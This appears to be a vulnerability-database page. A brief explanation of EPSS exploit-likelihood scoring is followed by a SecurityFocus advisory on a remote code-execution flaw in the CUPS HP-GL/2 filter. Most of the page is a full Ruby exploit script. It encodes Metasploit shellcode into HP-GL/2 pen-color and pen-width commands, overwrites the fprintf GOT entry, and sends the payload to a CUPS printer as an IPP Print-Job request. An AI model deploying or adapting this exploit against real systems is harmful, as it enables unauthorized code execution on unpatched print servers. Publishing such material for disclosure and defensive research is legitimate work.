EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/31688/info CUPS is prone to a remote code-execution vulnerability caused by an error in the 'HP-GL/2 filter. Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. Note that local users may also exploit this vulnerability to elevate privileges. Successful remote exploits may require printer sharing to be enabled on the vulnerable system. The issue affects versions prior to CUPS 1.3.9. NOTE: This issue was previously discussed in BID 31681 (Apple Mac OS X 2008-007 Multiple Security Vulnerabilities), but has been assigned its own record to better document the vulnerability. #!/usr/bin/ruby -w # CUPS 1.3.7 (HP-GL/2 filter) remote code execution # gives uid=2(daemon) gid=7(lp) groups=7(lp) # linux 2.6.25/randomize_va_space = 1, glibc 2.7 # # An Introduction to HP-GL/2 Graphics # http://www.tech-diy.com/HP%20Graphics%20Language.htm # Internet Printing Protocol/1.1: Encoding and Transport # http://tools.ietf.org/html/rfc2910 # Internet Printing Protocol/1.1: Model and Semantics # http://tools.ietf.org/html/rfc2911 # :::::::::::::::::::::::::::::::::: setup :::::::::::::::::::::::::::::::::: host = '127.0.0.1' port = 631 printer = 'Virtual_Printer' Pens_addr = 0x08073600 # objdump -T hpgltops | grep Pens$ fprintf_got = 0x080532cc # objdump -R hpgltops | grep fprintf # linux_ia32_exec - CMD=/bin/touch /tmp/yello Size=84, metasploit.com # encoder=PexFnstenvSub, restricted chars: 0xff shellcode = "\x2b\xc9\x83\xe9\xf1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7c" + "\x48\x22\xd6\x83\xeb\xfc\xe2\xf4\x16\x43\x7a\x4f\x2e\x2e\x4a\xfb" + "\x1f\xc1\xc5\xbe\x53\x3b\x4a\xd6\x14\x67\x40\xbf\x12\xc1\xc1\x84" + "\x94\x5e\x22\xd6\x7c\x67\x40\xbf\x12\x67\x56\xb9\x09\x2b\x4a\xf6" + "\x53\x3c\x4f\xa6\x53\x31\x47\xba\x10\x27\x22\x81\x2f\xc1\xc3\x1b" + "\xfc\x48\x22\xd6"; # :::::::::::::::::::::::::::::::::: code ::::::::::::::::::::::::::::::::::: # beacause of hpgl-attr.c:68-73 and 269-274 def CR_setup() "CR0,1,0,1,0,1;" end # PS is a bit tricky here. final weight of pen (PW code) is calculated as: # weight*=hypot(ps[0],ps[1])/1016.0*72.0 (which is NOT hypot/73152.0), # where ps0=72.0*arg1/1016.0 and ps1=72.0*arg2/1016.0. # so, hoping to get things accurate I set multiplier to 1.0 def PS_setup() "WU1;" + # set the units used for pen widths "RO0;" + # (do not) rotate the plot "PS0,199.123455;"; # set the plot size end # alternative approach to fight floating point rounding errors # first one seems to be more successful, though def PS_setup_alt() "WU0;" + "RO0;"; end # set the pen width (PS!) def PW(width, pen) "PW#{width},#{pen};" end def PW_alt(width, pen) "PW#{width*25.4/72.0},#{pen};" end # "Set the pen color..." def PC(pen, r, g, b) "PC#{pen},#{r},#{g},#{b};" end # we'll be storing shellcode in Pens[1024] static buffer # typedef struct # { # float rgb[3]; /* Pen color */ # float width; /* Pen width */ # } pen_t; def memcpy(data) while (data.length % 16 != 0) data += "\x90"; end s = '' a = 0, b = 0, i = 0 data.unpack('f*').each { |f| case ((i += 1) % 4) when 1: a = f when 2: b = f when 3: s += PC(i/4, a, b, f) else s += PW(f, (i-1)/4) end } return s; end # overwrite all 16 bytes with the same value def poke(addr, value) f = [value].pack('i').unpack('f') # floatyfication! i = (addr-Pens_addr)/16 return PC(i, f, f, f) + PW(f, i) end hpgl_data = "BP;" + # to be recognized by CUPS CR_setup() + PS_setup() + memcpy(shellcode) + poke(fprintf_got, Pens_addr) + PC(0, 0, 0, 0); # whatever def attribute(tag, name, value) [tag].pack('C') + [name.length].pack('n') + name + [value.length].pack('n') + value end # tag - meaning (rfc2910#section-3.5) # 0x42 nameWithoutLanguage # 0x45 uri # 0x47 charset # 0x48 naturalLanguage operation_attr = attribute(0x47, 'attributes-charset', 'utf-8') + attribute(0x48, 'attributes-natural-language', 'en-us') + attribute(0x45, 'printer-uri', "http://#{host}:#{port}/printers/#{printer}") + attribute(0x42, 'job-name', 'zee greeteengz') + attribute(0x42, 'document-format', 'application/vnd.hp-HPGL'); ipp_data = "\x01\x00" + # version-number: 1.0 "\x00\x02" + # operation-id: Print-job "\x00\x00\x00\x01" + # request-id: 1 "\x01" + # operation-attributes-tag operation_attr + "\x02" + # job-attributes-tag "\x03" + # end-of-attributes-tag hpgl_data; http_request = """POST /printers/#{printer} HTTP/1.1 Content-Type: application/ipp User-Agent: Internet Print Provider Host: #{host} Content-Length: #{ipp_data.length} Connection: Keep-Alive Cache-Control: no-cache """ require 'socket' NL = "\r\n" if (false) # ./hpgltops 0 none none 1 '' output.hpgl puts hpgl_data puts "[+] dumping HP/GL-2 into output.hpgl" f = File.new('output.hpgl', 'w') f.write(hpgl_data) f.close() exit(0) end puts "[+] connecting to #{host}:#{port}" s = TCPSocket.open(host, port) puts "[+] asking #{printer} for a printout" http_request.each_line { |line| s.write(line.strip + NL) } s.write(NL) s.write(ipp_data) s.read(1) s.close() puts "[+] done"
